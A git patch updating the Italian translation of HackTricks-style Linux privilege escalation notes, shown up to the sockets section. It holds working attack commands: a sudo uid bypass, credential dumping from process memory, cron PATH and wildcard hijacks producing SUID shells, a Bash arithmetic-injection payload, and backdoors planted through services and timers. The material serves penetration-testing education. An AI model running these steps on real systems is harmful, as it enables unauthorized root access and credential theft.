From f33f0cfddd6dca9f9773b1c253a8bcd1b1d80855 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 3 Sep 2025 16:50:47 +0000 Subject: [PATCH] Translated ['', 'src/network-services-pentesting/pentesting-web/spring-a --- .../privilege-escalation/README.md | 577 +++++++++--------- .../pentesting-web/spring-actuators.md | 124 +++- 2 files changed, 401 insertions(+), 300 deletions(-) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 9352f31a3..d7cb1a1fb 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -## Informazioni di sistema +## Informazioni sul sistema ### Informazioni sul sistema operativo @@ -14,38 +14,38 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### PATH -Se **hai i permessi di scrittura su qualsiasi cartella presente nella variabile `PATH`** potresti essere in grado di dirottare alcune librerie o binari: +Se **hai permessi di scrittura su qualsiasi cartella all'interno della variabile `PATH`** potresti essere in grado di dirottare alcune librerie o binari: ```bash echo $PATH ``` -### Info ambiente +### Env info -Informazioni interessanti, password o chiavi API nelle variabili d'ambiente? +Informazioni interessanti, password o API keys nelle variabili d'ambiente? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -Controlla la kernel version e verifica se esiste qualche exploit che può essere usato per escalate privileges +Controlla la versione del kernel e verifica se esiste qualche exploit che può essere usato per escalate privileges ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Puoi trovare una buona lista di kernel vulnerabili e alcuni già **compiled exploits** qui: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) e [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Puoi trovare una buona lista di kernel vulnerabili e alcuni **compiled exploits** qui: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ Altri siti dove puoi trovare alcuni **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) Per estrarre tutte le versioni del kernel vulnerabili da quel sito puoi fare: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Strumenti che potrebbero aiutare a cercare exploit del kernel sono: +Strumenti che possono aiutare a cercare exploit del kernel sono: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (da eseguire sul victim, verifica solo exploit per kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) -Cerca sempre **la versione del kernel su Google**, forse la tua versione del kernel è menzionata in qualche kernel exploit e così sarai sicuro che quell'exploit sia valido. +Sempre **cerca la versione del kernel su Google**, magari la tua versione del kernel è menzionata in qualche exploit del kernel e così sarai sicuro che l'exploit sia valido. ### CVE-2016-5195 (DirtyCow) @@ -59,7 +59,7 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` ### Sudo versione -Basato sulle versioni di sudo vulnerabili che compaiono in: +Sulla base delle versioni di sudo vulnerabili che compaiono in: ```bash searchsploit sudo ``` @@ -73,7 +73,7 @@ Da @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg: verifica della firma non riuscita +### Dmesg: verifica della firma fallita Controlla **smasher2 box of HTB** per un **esempio** di come questa vuln potrebbe essere sfruttata ```bash @@ -123,7 +123,8 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Se sei all'interno di un docker container puoi provare a eseguire un escape: +Se sei dentro un docker container puoi provare a evaderne: + {{#ref}} docker-security/ @@ -131,7 +132,7 @@ docker-security/ ## Dischi -Controlla **what is mounted and unmounted**, dove e perché. Se qualcosa è unmounted, puoi provare a mountarlo e controllare se contiene informazioni private +Controlla **what is mounted and unmounted**, dove e perché. Se qualcosa è unmounted puoi provare a mountarla e cercare informazioni private ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -140,60 +141,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## Software utile -Elencare i binari utili +Elenca i binaries utili ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Controlla anche se **any compiler is installed**. Questo è utile se devi usare qualche kernel exploit, poiché è consigliabile compilarlo sulla macchina in cui lo userai (o su una macchina simile). +Controlla anche se **è installato un compilatore**. Questo è utile se devi usare qualche kernel exploit, poiché è consigliabile compilarlo sulla macchina in cui intendi usarlo (o su una simile) ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### Software vulnerabile installato +### Vulnerable Software Installed -Controlla la **versione dei pacchetti e dei servizi installati**. Potrebbe esserci una vecchia versione di Nagios (per esempio) che potrebbe essere sfruttata per un'elevazione dei privilegi…\ -Si consiglia di verificare manualmente la versione del software installato più sospetto. +Controlla la **versione dei pacchetti e dei servizi installati**. Potrebbe esserci una vecchia versione di Nagios (per esempio) che potrebbe essere sfruttata per escalating privileges…\ +Si raccomanda di verificare manualmente la versione del software installato più sospetto. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Se hai accesso SSH alla macchina puoi anche usare **openVAS** per verificare se nel sistema è presente software obsoleto o vulnerabile. +Se hai accesso SSH alla macchina puoi anche usare **openVAS** per verificare la presenza di software obsoleto o vulnerabile installato sulla macchina. -> [!NOTE] > _Nota che questi comandi mostreranno molte informazioni che per lo più saranno inutili; perciò si raccomandano applicazioni come OpenVAS o simili che controllino se una versione di software installata è vulnerabile a exploit noti_ +> [!NOTE] > _Nota che questi comandi mostreranno molte informazioni che per lo più saranno inutili; pertanto è consigliabile utilizzare applicazioni come OpenVAS o simili che verifichino se la versione di un software installato è vulnerabile a exploit noti_ -## Processi +## Processes -Dai un'occhiata a **quali processi** vengono eseguiti e verifica se qualche processo ha **più privilegi di quanto dovrebbe** (magari un tomcat eseguito da root?) +Dai un'occhiata a **quali processi** sono in esecuzione e verifica se qualche processo ha **più privilegi di quelli che dovrebbe** (magari un tomcat eseguito come root?) ```bash ps aux ps -ef top -n 1 ``` -Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ -Controlla anche i privilegi sui binari dei processi, potresti sovrascriverne qualcuno. +Controlla sempre la presenza di [**electron/cef/chromium debuggers** in esecuzione, potresti abusarne per escalare privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** rileva quelli controllando il parametro `--inspect` nella command line del processo.\ +Controlla anche i tuoi privileges sui binari dei processi, magari puoi sovrascriverne qualcuno. ### Process monitoring -Puoi usare strumenti come [**pspy**](https://github.com/DominicBreuker/pspy) per monitorare i processi. Questo può essere molto utile per identificare processi vulnerabili eseguiti frequentemente o quando è soddisfatta una serie di condizioni. +Puoi usare strumenti come [**pspy**](https://github.com/DominicBreuker/pspy) per monitorare i processi. Questo può essere molto utile per identificare processi vulnerabili eseguiti frequentemente o quando vengono soddisfatti determinati requisiti. ### Process memory -Alcuni servizi su un server salvano **credenziali in chiaro nella memoria**.\ -Normalmente avrai bisogno dei **privilegi di root** per leggere la memoria di processi appartenenti ad altri utenti, perciò questo è solitamente più utile quando sei già root e vuoi scoprire altre credenziali.\ -Tuttavia, ricorda che **come utente regolare puoi leggere la memoria dei processi che possiedi**. +Alcuni servizi di un server salvano **credentials in chiaro nella memoria**.\ +Normalmente avrai bisogno di **root privileges** per leggere la memoria di processi che appartengono ad altri utenti, quindi questo è solitamente più utile quando sei già root e vuoi scoprire altre credentials.\ +Tuttavia, ricorda che **come utente normale puoi leggere la memoria dei processi che possiedi**. > [!WARNING] -> Nota che oggi la maggior parte delle macchine **non permette ptrace di default**, il che significa che non puoi dumpare altri processi appartenenti a un utente non privilegiato. +> Nota che oggigiorno la maggior parte delle macchine **non permette ptrace di default** il che significa che non puoi eseguire il dump di altri processi che appartengono al tuo utente non privilegiato. > -> Il file _**/proc/sys/kernel/yama/ptrace_scope**_ controlla l'accessibilità di ptrace: +> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: > -> - **kernel.yama.ptrace_scope = 0**: tutti i processi possono essere debugati, purché abbiano lo stesso uid. Questo è il modo classico in cui funzionava il ptracing. -> - **kernel.yama.ptrace_scope = 1**: solo un processo padre può essere debugato. -> - **kernel.yama.ptrace_scope = 2**: solo l'admin può usare ptrace, in quanto richiede la capability CAP_SYS_PTRACE. -> - **kernel.yama.ptrace_scope = 3**: nessun processo può essere tracciato con ptrace. Una volta impostato, è necessario un riavvio per abilitare nuovamente il ptracing. +> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. +> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. +> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. +> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. #### GDB -Se hai accesso alla memoria di un servizio FTP (per esempio) potresti ottenere l'Heap e cercare al suo interno le credenziali. +Se hai accesso alla memoria di un servizio FTP (per esempio) potresti ottenere l'Heap e cercare al suo interno le credentials. ```bash gdb -p (gdb) info proc mappings @@ -215,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Per un dato PID, **maps** mostrano come la memoria è mappata nello spazio di indirizzamento virtuale di quel processo; mostrano anche i **permessi di ciascuna regione mappata**. Il pseudo-file **mem** **espone la memoria stessa del processo**. Dal file **maps** sappiamo quali **regioni di memoria sono leggibili** e i loro offset. Usiamo queste informazioni per **seek into the mem file and dump all readable regions** in un file. +Per un dato PID, **maps mostrano come la memoria è mappata nello spazio di indirizzi virtuale di quel processo**; mostrano anche i **permessi di ogni regione mappata**. Il file pseudo **mem** **espone la memoria stessa del processo**. Dal file **maps** sappiamo quali **regioni di memoria sono leggibili** e i loro offset. Usiamo queste informazioni per **posizionarci nel file mem e dumpare tutte le regioni leggibili** in un file. ```bash procdump() ( @@ -230,14 +231,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` fornisce accesso alla memoria **fisica** del sistema, non alla memoria virtuale. Lo spazio di indirizzi virtuale del kernel è accessibile tramite /dev/kmem.\ +`/dev/mem` fornisce accesso alla memoria **fisica** del sistema, non alla memoria virtuale. Lo spazio di indirizzi virtuali del kernel è accessibile usando /dev/kmem.\ Tipicamente, `/dev/mem` è leggibile solo da **root** e dal gruppo **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump per Linux +### ProcDump for linux -ProcDump è una reinterpretazione per Linux del classico strumento ProcDump della suite Sysinternals per Windows. Disponibile su [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump è una reinterpretazione per Linux del classico strumento ProcDump della suite Sysinternals per Windows. Scaricalo da [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -266,10 +267,10 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Strumenti -Per effettuare il dump della memoria di un processo puoi usare: +Per dumpare la memoria di un processo puoi usare: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Puoi rimuovere manualmente i requisiti di root e effettuare il dump del processo di tua proprietà +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Puoi rimuovere manualmente i requisiti di root e dumpare il processo di cui sei proprietario - Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (richiede root) ### Credenziali dalla memoria del processo @@ -281,23 +282,23 @@ Se trovi che il processo authenticator è in esecuzione: ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Puoi fare il dump del processo (vedi le sezioni precedenti per trovare diversi modi per fare il dump della memory di un processo) e cercare credentials all'interno della memory: +Puoi effettuare il dump del processo (vedi le sezioni precedenti per trovare i diversi modi per dumpare la memoria di un processo) e cercare credentials all'interno della memoria: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -Lo strumento [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **ruberà credenziali in chiaro dalla memoria** e da alcuni **file ben noti**. Richiede privilegi di root per funzionare correttamente. +Lo strumento [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) ruberà **credenziali in chiaro dalla memoria** e da alcuni **file ben noti**. Richiede privilegi root per funzionare correttamente. -| Funzionalità | Nome processo | -| ------------------------------------------------- | --------------------- | -| Password GDM (Kali Desktop, Debian Desktop) | gdm-password | -| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | -| LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (connessioni FTP attive) | vsftpd | -| Apache2 (sessioni HTTP Basic Auth attive) | apache2 | -| OpenSSH (sessioni SSH attive - uso di sudo) | sshd: | +| Funzionalità | Nome processo | +| ------------------------------------------------- | -------------------- | +| Password GDM (Kali Desktop, Debian Desktop) | gdm-password | +| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | +| LightDM (Ubuntu Desktop) | lightdm | +| VSFTPd (connessioni FTP attive) | vsftpd | +| Apache2 (sessioni HTTP Basic Auth attive) | apache2 | +| OpenSSH (sessioni SSH attive - uso di sudo) | sshd: | #### Regex di ricerca/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash @@ -313,9 +314,9 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Pianificati/Cron jobs +## Operazioni pianificate/Cron jobs -Verifica se qualche job pianificato è vulnerabile. Forse puoi sfruttare uno script eseguito da root (wildcard vuln? puoi modificare file che root usa? usare symlinks? creare file specifici nella directory che root usa?). +Controlla se qualche job schedulato è vulnerabile. Potresti sfruttare uno script eseguito da root (wildcard vuln? puoi modificare file che root usa? usare symlinks? creare file specifici nella directory che root usa?). ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -323,57 +324,81 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul ``` ### Cron path -Ad esempio, dentro _/etc/crontab_ puoi trovare il PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +Per esempio, all'interno di _/etc/crontab_ puoi trovare il PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Nota come l'utente "user" abbia privilegi di scrittura su /home/user_) +(_Nota come l'utente "user" ha privilegi di scrittura su /home/user_) -Se in questo crontab l'utente root prova ad eseguire un comando o script senza impostare il PATH. Per esempio: _\* \* \* \* root overwrite.sh_\ -Quindi puoi ottenere una shell root usando: +Se all'interno di questo crontab l'utente root prova a eseguire un comando o uno script senza impostare il PATH. Per esempio: _\* \* \* \* root overwrite.sh_\ +Quindi, puoi ottenere una shell root usando: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron che esegue uno script con un wildcard (Wildcard Injection) +### Cron using a script with a wildcard (Wildcard Injection) -Se uno script eseguito da root contiene un “**\***” all'interno di un comando, puoi sfruttarlo per ottenere comportamenti imprevisti (come privesc). Esempio: +Se uno script eseguito da root contiene un “**\***” all'interno di un comando, potresti sfruttarlo per ottenere comportamenti imprevisti (come privesc). Esempio: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` **Se il wildcard è preceduto da un percorso come** _**/some/path/\***_ **, non è vulnerabile (anche** _**./\***_ **non lo è).** -Leggi la seguente pagina per ulteriori wildcard exploitation tricks: +Leggi la pagina seguente per altri trucchi di wildcard exploitation: {{#ref}} wildcards-spare-tricks.md {{#endref}} -### Sovrascrittura di script Cron e symlink -Se **puoi modificare uno script cron** eseguito da root, puoi ottenere una shell molto facilmente: +### Bash arithmetic expansion injection in cron log parsers + +Bash esegue parameter/variable expansion e command substitution prima dell'arithmetic evaluation in ((...)), $((...)) e let. Se un cron/parser eseguito come root legge campi di log non affidabili e li passa in un contesto aritmetico, un attacker può iniettare una command substitution $(...) che viene eseguita come root quando il cron gira. + +- Perché funziona: In Bash, le espansioni avvengono in questo ordine: parameter/variable expansion, command substitution, arithmetic expansion, poi word splitting e pathname expansion. Quindi un valore come `$(/bin/bash -c 'id > /tmp/pwn')0` viene prima sostituito (eseguendo il comando), poi il restante numerico `0` viene usato per l'aritmetica così lo script continua senza errori. + +- Esempio di pattern vulnerabile: +```bash +#!/bin/bash +# Example: parse a log and "sum" a count field coming from the log +while IFS=',' read -r ts user count rest; do +# count is untrusted if the log is attacker-controlled +(( total += count )) # or: let "n=$count" +done < /var/www/app/log/application.log +``` + +- Sfruttamento: Fai scrivere nel log parsato del testo attacker-controlled in modo che il campo che sembra numerico contenga una command substitution e finisca con una cifra. Assicurati che il tuo comando non scriva su stdout (o redirigilo) così l'aritmetica rimane valida. +```bash +# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): +$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 +# When the root cron parser evaluates (( total += count )), your command runs as root. +``` + +### Cron script overwriting and symlink + +Se puoi **modificare uno script cron** eseguito da root, puoi ottenere una shell molto facilmente: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Se lo script eseguito da root usa una **directory su cui hai accesso completo**, potrebbe essere utile eliminare quella cartella e **creare una symlink che punti a un'altra cartella** che serva uno script controllato da te +Se lo script eseguito da root usa una **directory a cui hai pieno accesso**, potrebbe essere utile eliminare quella folder e **creare una symlink folder verso un'altra** che serva uno script controllato da te. ```bash ln -d -s ``` ### Cron jobs frequenti -Puoi monitorare i processi per cercare processi che vengono eseguiti ogni 1, 2 o 5 minuti. Forse puoi approfittarne per escalate privileges. +Puoi monitorare i processi per cercare processi che vengono eseguiti ogni 1, 2 o 5 minuti. Forse puoi approfittarne per elevare i privilegi. -Per esempio, per **monitorare ogni 0,1 s per 1 minuto**, **ordinare per i comandi meno eseguiti** e cancellare i comandi che sono stati eseguiti di più, puoi fare: +Ad esempio, per **monitorare ogni 0.1s per 1 minuto**, **ordinare in base ai comandi meno eseguiti** e cancellare i comandi che sono stati eseguiti più spesso, puoi fare: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Puoi anche usare** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (questo monitorerà e elencherà ogni processo che viene avviato). +**Puoi anche usare** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (monitorerà e elencherà ogni processo che viene avviato). -### Cron jobs invisibili +### Cron job invisibili -È possibile creare un cronjob **mettendo un carriage return dopo un commento** (senza newline character), e il cron job funzionerà. Esempio (nota il carattere carriage return): +È possibile creare un cronjob **inserendo un carriage return dopo un commento** (senza carattere newline), e il cron job funzionerà. Esempio (nota il carattere carriage return): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -381,12 +406,12 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### File _.service_ scrivibili -Verifica se puoi scrivere un file `.service`, se puoi, **potresti modificarlo** in modo che **esegua** la tua **backdoor quando** il servizio è **avviato**, **riavviato** o **arrestato** (potrebbe essere necessario attendere che la macchina venga riavviata).\ -Ad esempio crea la tua backdoor dentro il file .service con **`ExecStart=/tmp/script.sh`** +Verifica se puoi scrivere qualche file `.service`; se puoi, **potresti modificarlo** in modo che **esegua** la tua **backdoor quando** il servizio viene **avviato**, **riavviato** o **arrestato** (potrebbe essere necessario aspettare il riavvio della macchina).\ +Ad esempio crea la tua backdoor all'interno del file .service con **`ExecStart=/tmp/script.sh`** -### Scrivibili service binaries +### File binari dei servizi scrivibili -Tieni presente che se hai **permessi di scrittura sui binaries eseguiti dai servizi**, puoi modificarli per inserire backdoor in modo che quando i servizi vengono rieseguiti le backdoor vengano eseguite. +Tieni presente che se hai **permessi di scrittura sui binari eseguiti dai servizi**, puoi modificarli per inserire backdoor in modo che quando i servizi vengono rieseguiti le backdoor vengano eseguite. ### systemd PATH - Percorsi relativi @@ -394,77 +419,78 @@ Puoi vedere il PATH usato da **systemd** con: ```bash systemctl show-environment ``` -Se scopri che puoi **write** in una qualsiasi delle cartelle del percorso, potresti essere in grado di **escalate privileges**. Devi cercare **relative paths being used on service configurations** file come: +Se scopri di poter **scrivere** in una qualsiasi delle cartelle del percorso, potresti essere in grado di **escalate privileges**. Devi cercare **percorsi relativi usati nei file di configurazione dei servizi** come: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Poi, crea un **eseguibile** con lo **stesso nome del binario corrispondente al percorso relativo** all'interno della cartella PATH di systemd in cui puoi scrivere, e quando al servizio viene chiesto di eseguire l'azione vulnerabile (**Start**, **Stop**, **Reload**), la tua **backdoor verrà eseguita** (gli utenti non privilegiati di solito non possono avviare/fermare i servizi; verifica però se puoi usare `sudo -l`). +Poi, crea un **eseguibile** con lo **stesso nome del binario relativo** all'interno della cartella PATH di systemd che puoi scrivere, e quando al servizio viene chiesto di eseguire l'azione vulnerabile (**Start**, **Stop**, **Reload**), il tuo **backdoor verrà eseguito** (gli utenti non privilegiati di solito non possono avviare/fermare i servizi, ma controlla se puoi usare `sudo -l`). **Learn more about services with `man systemd.service`.** ## **Timers** -**Timers** sono file di unità systemd il cui nome termina in `**.timer**` che controllano file o eventi `**.service**`. I **Timers** possono essere usati come alternativa a cron in quanto hanno supporto integrato per eventi basati sul calendario e per eventi su tempo monotono e possono essere eseguiti in modo asincrono. +**Timers** sono unit file di systemd il cui nome termina in `**.timer**` che controllano file o eventi `**.service**`. I **Timers** possono essere usati come alternativa a cron poiché hanno supporto integrato per eventi di calendario e per eventi di tempo monotono e possono essere eseguiti in modo asincrono. -Puoi elencare tutti i timers con: +Puoi enumerare tutti i timers con: ```bash systemctl list-timers --all ``` -### Writable timers +### Timer scrivibili -Se puoi modificare un timer, puoi far sì che esegua alcune unità esistenti di systemd.unit (come un `.service` o un `.target`) +Se puoi modificare un timer, puoi far sì che esegua alcune unità esistenti di systemd.unit (come una `.service` o una `.target`) ```bash Unit=backdoor.service ``` -Nella documentazione puoi leggere cos'è l'unità: +Nella documentazione puoi leggere cos'è la Unit: -> L'unità da attivare quando questo timer scade. L'argomento è un nome di unità, il cui suffisso non è ".timer". Se non specificato, questo valore predefinito è un servizio che ha lo stesso nome dell'unità timer, eccetto per il suffisso. (Vedi sopra.) Si raccomanda che il nome dell'unità che viene attivata e il nome dell'unità del timer abbiano lo stesso nome, eccetto per il suffisso. +> L'unità da attivare quando questo timer scade. L'argomento è un nome di unità, il cui suffisso non è ".timer". Se non specificato, questo valore predefinito corrisponde a un service che ha lo stesso nome dell'unità timer, eccetto per il suffisso. (Vedi sopra.) Si raccomanda che il nome dell'unità che viene attivata e il nome dell'unità del timer siano identici, fatta eccezione per il suffisso. -Pertanto, per abusare di questa permission avresti bisogno di: +Pertanto, per abusare di questo permesso avresti bisogno di: -- Trova qualche unità systemd (come una `.service`) che stia **eseguendo un binario scrivibile** -- Trova qualche unità systemd che stia **eseguendo un percorso relativo** e su cui hai **privilegi di scrittura** sulla **PATH di systemd** (per impersonare quell'eseguibile) +- Trovare qualche systemd unit (come una `.service`) che sia **executing a writable binary** +- Trovare qualche systemd unit che sia **executing a relative path** e su cui hai **writable privileges** sulla **systemd PATH** (per impersonare quell'eseguibile) -**Per saperne di più sui timer usa `man systemd.timer`.** +**Per saperne di più sui timer vedi `man systemd.timer`.** -### **Abilitare il timer** +### **Abilitazione del Timer** -Per abilitare un timer sono necessari privilegi root ed eseguire: +Per abilitare un timer sono necessari privilegi root e l'esecuzione di: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Nota che il **timer** viene **attivato** creando un symlink a esso in `/etc/systemd/system/.wants/.timer` +Nota che il **timer** viene **attivato** creando un symlink verso di esso in `/etc/systemd/system/.wants/.timer` ## Sockets -Unix Domain Sockets (UDS) consentono la **comunicazione tra processi** sulla stessa macchina o su macchine diverse all'interno di modelli client-server. Utilizzano file descriptor Unix standard per la comunicazione tra macchine e sono configurati tramite file `.socket`. +Unix Domain Sockets (UDS) permettono la **comunicazione tra processi** sulla stessa macchina o tra macchine diverse in modelli client-server. Utilizzano i normali file descriptor Unix per la comunicazione tra computer e vengono configurati tramite file `.socket`. -Sockets can be configured using `.socket` files. +I socket possono essere configurati usando file `.socket`. -**Per saperne di più sui sockets usa `man systemd.socket`.** All'interno di questo file, si possono configurare diversi parametri interessanti: +**Per saperne di più sui sockets usa `man systemd.socket`.** All'interno di questo file possono essere configurati diversi parametri interessanti: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Queste opzioni sono diverse ma in sintesi servono a **indicare dove verrà effettuato l'ascolto** del socket (il percorso del file socket AF_UNIX, l'indirizzo IPv4/6 e/o il numero di porta da ascoltare, ecc.) -- `Accept`: Accetta un argomento booleano. Se **true**, viene generata una **service instance per ogni connessione in arrivo** e solo il socket della connessione viene passato a essa. Se **false**, tutti i socket in ascolto vengono **passati all'unità di service avviata**, e viene generata una sola unità di service per tutte le connessioni. Questo valore è ignorato per i socket datagram e le FIFO, dove una singola unità di service gestisce incondizionatamente tutto il traffico in ingresso. **Default: false**. Per motivi di performance, è raccomandato scrivere nuovi daemon in modo compatibile con `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Accettano una o più righe di comando, che vengono **eseguite prima** o **dopo** la creazione e il binding dei **sockets**/FIFO, rispettivamente. Il primo token della riga di comando deve essere un nome file assoluto, seguito dagli argomenti per il processo. -- `ExecStopPre`, `ExecStopPost`: Comandi aggiuntivi che vengono **eseguiti prima** o **dopo** la chiusura e la rimozione dei **sockets**/FIFO, rispettivamente. -- `Service`: Specifica il nome dell'unità **service** da **attivare** sul **traffico in ingresso**. Questa impostazione è permessa solo per socket con Accept=no. Di default punta al service che ha lo stesso nome del socket (con il suffisso sostituito). Nella maggior parte dei casi non è necessario usare questa opzione. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Queste opzioni sono diverse ma, in sintesi, servono a **indicare dove il socket ascolterà** (il percorso del file socket AF_UNIX, l'indirizzo IPv4/6 e/o la porta su cui ascoltare, ecc.) +- `Accept`: Accetta un argomento booleano. Se **true**, viene **creata un'istanza di service per ogni connessione in ingresso** e viene passato soltanto il socket di connessione. Se **false**, tutti i socket di ascolto vengono **passati all'unità di service avviata**, e viene creata una sola unità di service per tutte le connessioni. Questo valore è ignorato per i datagram sockets e le FIFO dove una singola unità di service gestisce incondizionatamente tutto il traffico in ingresso. **Di default è false**. Per ragioni di performance è consigliato scrivere nuovi daemon in modo compatibile con `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Accettano una o più linee di comando, che vengono **eseguite prima** o **dopo** che i socket/FIFO di ascolto siano rispettivamente **creati** e collegati. Il primo token della riga di comando deve essere un filename assoluto, seguito dagli argomenti per il processo. +- `ExecStopPre`, `ExecStopPost`: Comandi aggiuntivi che vengono **eseguiti prima** o **dopo** che i socket/FIFO di ascolto siano rispettivamente **chiusi** e rimossi. +- `Service`: Specifica il nome dell'unità di service da attivare sul traffico in ingresso. Questa impostazione è consentita solo per socket con `Accept=no`. Di default prende il service che ha lo stesso nome del socket (con il suffisso sostituito). Nella maggior parte dei casi non dovrebbe essere necessario usare questa opzione. -### Writable .socket files +### File .socket scrivibili -Se trovi un file 